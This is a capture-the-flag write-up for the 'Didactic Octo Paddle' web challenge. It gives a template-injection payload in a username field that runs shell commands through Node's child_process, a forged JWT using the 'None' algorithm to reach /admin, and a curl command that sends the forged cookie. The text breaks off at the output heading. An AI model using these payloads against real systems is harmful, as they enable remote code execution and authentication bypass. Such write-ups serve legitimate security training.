# Didactic Octo Paddle
You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop's system to obtain information on the relic's location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.
## Writeup
Create a user named:
```jsusername: {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}password: ciao```
Now we must find a way to go in **/admin** with the correct **jwt** session token.
Modify the jwt session token by using this json bsa64:
```json{  "alg": "None",  "typ": "JWT"}```
In base64:
```base64ewogICJhbGciOiAiTm9uZSIsCiAgInR5cCI6ICJKV1QiCn0=```
```json{  "id": 1,  "iat": 1679253240}```
```base64ewogICJpZCI6IDEsCiAgImlhdCI6IDE2NzkyNTMyNDAKfQ==```
Now we can marge the custom **jwt**.
Do not insert the **=** character and **.** at the end.
This is the token:
```ewogICJhbGciOiAiTm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.ewogICJpZCI6IDEsCiAgImlhdCI6IDE2NzkyNTMyNDAKfQ.```
Use it to go in the **/admin** page and display the flag (change the ip and port address first):
```bashcurl -X GET http://68.183.37.122:30420/admin \    -H 'Cookie: session=ewogICJhbGciOiAiTm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.ewogICJpZCI6IDEsCiAgImlhdCI6IDE2NzkyNTMyNDAKfQ.'```
This is the output:
